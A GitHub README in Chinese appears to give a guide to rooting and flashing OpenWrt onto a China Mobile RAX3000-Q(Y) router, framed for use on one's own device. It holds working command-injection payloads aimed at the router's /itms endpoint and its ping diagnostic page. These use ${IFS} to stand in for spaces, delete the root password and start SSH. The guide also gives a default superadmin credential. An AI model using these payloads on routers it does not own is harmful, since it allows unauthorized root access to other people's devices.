Skip to content

sfxfs/rax3000qy-OpenWrt

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

32 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

移动 RAX3000-Q(Y) 路由器刷机教程

English Version

本教程参考 skyblog恩山 imlk ,OpenWrt 固件基于 QSDK 项目编译并由 NWrt 团队提供,本仓库仅提供个人备份用途,有其他特殊需求请联系 NWrt。

请注意:开始本教程之前请务必自行备份机器原本固件,刷机过程中造成的一切后果自行承担

一、取得权限

注意! 本文介绍的获取权限方法可能会随着系统更新失效,如果发现无法取得权限,请查看本仓库 issuedocs其他教程 或自行搜索其他方法,有其他问题也欢迎开 issue。

有两种取得权限的方式,分别是 sshtelnet(同时也有拆机后通过调试串口刷机的方式,但本教程不涉及,可自行搜索):

1. 取得 SSH(二选一)

  • 方法一(新方法):

  • 首先进入后台页面 (后台地址、用户名和密码请看路由器背面)

  • 登录后在浏览器控制台执行以下脚本(将 sessionId 替换为你自己的值,可在浏览器开发者工具的请求参数或 Cookie 中找到):

    {
        const sessionId = "YOUR_SESSION_ID_HERE";   //替换为你的sessionId
    
    
        const commands = [
            "passwd -d root",
            "uci set dropbear.@dropbear[0].PasswordAuth='on'",
            "uci set dropbear.@dropbear[0].RootPasswordAuth='on'",
            "uci set dropbear.@dropbear[0].Port='22'",
            "uci set dropbear.@dropbear[0].enable='1'",
            "uci commit dropbear",
            "/etc/init.d/dropbear enable",
            "/etc/init.d/dropbear start"
        ];
    
        const shellCmd = commands.map(cmd => cmd.replace(/ /g, "${IFS}")).join(";"); // 用 ${IFS} 代替空格,适配该接口命令解析
    
    
        fetch("/itms", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({
                cmd: 22,
                fname: "websys.log |" + shellCmd,
                method: "get",
                sessionId: sessionId,
            }),
        })
            .then((response) => response.json())
            .then((data) => {
                console.log("服务器返回:", data);
            })
            .catch((error) => {
                console.error("请求失败:", error);
            });
    }
  • 脚本中会将命令里的空格替换为 ${IFS},这是为了适配该接口的命令解析方式

  • 执行完成后,使用 ssh 连接路由器:ssh root@192.168.x.x(root 默认无密码)

  • 联网后系统可能会自动打补丁封禁 22 端口,重置系统即可恢复

  • 参考讨论: https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=8445553&extra=&page=1

  • 方法二(原方法):

  • 首先进入后台页面 (后台地址、用户名和密码请看路由器背面)

  • 进入「更多 --> 诊断 --> ping」页面

  • 在”URL或者IP地址”的输入框中输入:$(dropbear${IFS}-p${IFS}22) 来启动 dropbear

  • 再通过 $(passwd${IFS}-d${IFS}root) 来删除 root 的密码

  • 使用 ssh 命令来连接路由器:ssh root@192.168.x.x 后将会直接进入而不会询问密码

同型号提示“无效地址”的处理方法

  • ⚠️ 该脚本属于利用漏洞的临时提权手段,请仅在自有设备上使用,勿用于共享或公共网络设备,并确认执行后会清空 root 密码;连接成功后建议立即执行 passwd root 设置新密码。

  • 打开 Chrome 调试窗口,切换到「网络(Network)」

  • 刷新页面后,找到 items 相关的 POST 请求

  • 在「负载(Payload)」中找到 sessionId 并记录

  • 切换到「控制台(Console)」,输入以下脚本(注意替换示例地址 cmcc.wifi 为实际路由器地址,需同步替换 url 与下方 SSH 命令中的主机名):

    var url = "http://cmcc.wifi/itms";
    var params = {
      cmd: 22,
      fname: "websys.log|passwd -d root",
      method: "get",
      sessionId: "YOUR_SESSION_ID_HERE" // 替换为上述步骤中记录的 sessionId
    };
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {console.error(xhr.statusText);};
    xhr.send(JSON.stringify(params));
  • 控制台返回空字符串 "" 后,即可通过 SSH 连接:

    ssh -oHostKeyAlgorithms=+ssh-rsa root@cmcc.wifi

2. 取得 Telnet(二选一)

  • 首先进入后台页面 (后台地址、用户名和密码请看路由器背面)
  • 进入「更多 --> 诊断 --> ping」页面
  • 通过 $(passwd${IFS}-d${IFS}root) 来删除 root 的密码
  • 重新在浏览器后台页面输入用户名和密码为:superadmin:83583000 后进入后台
  • 在「管理 - 系统设置」页面可开启 telnet
  • 注意telnet端口号为 4719,应使用 telnet 192.168.10.1 4719 登陆,用户名为 root,密码无

二、刷入 Uboot

  • 电脑端打开 WinSCP 软件

  • 新建站点——文件协议选择scp——主机名就是路由器ip——输入用户名 root 和密码登录

  • uboot 文件夹内的 nwrt_rax3000qy_uboot.mbnnwrt_rax3000qy_mibib.bin 放到路由器 /tmp 文件夹下

  • 进入路由器终端 输入如下两个命令:

    mtd write /tmp/nwrt_rax3000qy_uboot.mbn /dev/mtd11
    
    mtd write /tmp/nwrt_rax3000qy_mibib.bin /dev/mtd1
  • 此时 uboot 已经刷入完毕,可以断开电源。

三、刷入 OpenWrt

  • 电脑进入控制面板内的网络接口设置网口为静态 ip 192.168.1.2 子网掩码 255.255.255.0
  • 在路由器按住 reset,插上电源 10 秒后松开 reset,浏览器输入 192.168.1.1 进入 Uboot
  • 选择 openwrt-fw 内的任意一个刷机包刷入即可
    • 2023-12 的版本带 passwall ,但有概率无法启动的问题(不稳定
    • 2023-11 的版本不带 passwall ,可自行通过软件源安装(稳定)
    • 其他版本请自行测试理论上越新越稳定)
  • 刷入完毕后机器将会重启,耐心等待一会即可进入系统,用户名为 root ,密码为 password

Star History Chart

About

适用于移动 RAX3000-Q(Y) 的刷机教程 | OpenWrt Firmwares for CMCC RAX3000-Q(Y)

Topics

Resources

License

Stars

Watchers

Forks

Contributors